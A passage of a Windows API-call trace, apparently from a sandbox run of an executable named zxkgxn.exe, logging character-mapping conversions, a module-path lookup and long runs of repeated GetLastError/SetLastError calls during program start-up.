¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0045.892] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.892] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0045.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x66\x6e\x14\xbb\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.893] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0045.893] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0045.893] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0045.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x66\x6e\x14\xbb\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0045.893] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x487278, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe")) returned 0x30 [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.893] GetLastError () returned 0x0 [0045.893] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.894] GetLastError () returned 0x0 [0045.894] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.895] SetLastError (dwErrCode=0x0) [0045.895] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.896] SetLastError (dwErrCode=0x0) [0045.896] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.897] GetLastError () returned 0x0 [0045.897] SetLastError (dwErrCode=0x0) [0045.898] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x66) returned 0x613b48 [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.898] SetLastError (dwErrCode=0x0) [0045.898] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.899] GetLastError () returned 0x0 [0045.899] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.900] GetLastError () returned 0x0 [0045.900] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError 